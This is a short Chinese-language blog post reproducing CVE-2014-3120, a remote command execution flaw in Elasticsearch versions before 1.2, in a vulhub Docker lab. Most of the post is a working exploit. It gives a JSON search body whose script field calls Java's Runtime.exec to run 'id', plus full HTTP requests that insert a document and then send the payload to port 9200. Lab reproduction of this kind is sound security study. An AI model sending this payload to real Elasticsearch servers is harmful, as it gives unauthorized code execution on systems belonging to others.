CVE-2014-3120

作者: 3mi1e | 来源:发表于2019-08-12 20:42 被阅读6次

    ElasticSearch 命令执行漏洞(CVE-2014-3120)

    1.漏洞影响版本

    Elasticsearch < 1.2

    2.漏洞危害

    命令执行

    3.漏洞POC
    cd /root/vulhub/elasticsearch/CVE-2014-3120                   //进入本次复现的漏洞目录
    docker-compose up -d                                          //docker-compose搭建环境
    

    将Java代码放入json中:

    {
        "size": 1,
        "query": {
          "filtered": {
            "query": {
              "match_all": {
              }
            }
          }
        },
        "script_fields": {
            "command": {
                "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
            }
        }
      }
    

    然后,执行任意代码:

    POST /website/blog/ HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 25
    
    {
      "name": "phithon"
    }
    
    插入JSON数据
    POST /_search?pretty HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 343
    
    {
        "size": 1,
        "query": {
          "filtered": {
            "query": {
              "match_all": {
              }
            }
          }
        },
        "script_fields": {
            "command": {
                "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
            }
        }
    }
    
    执行命令
    4.复盘

    漏洞出现原因
    参考URL:云栖社区
    总结
    JSON命令执行

    相关文章

      网友评论

        本文标题:CVE-2014-3120

        本文链接:https://www.haomeiwen.com/subject/pwupjctx.html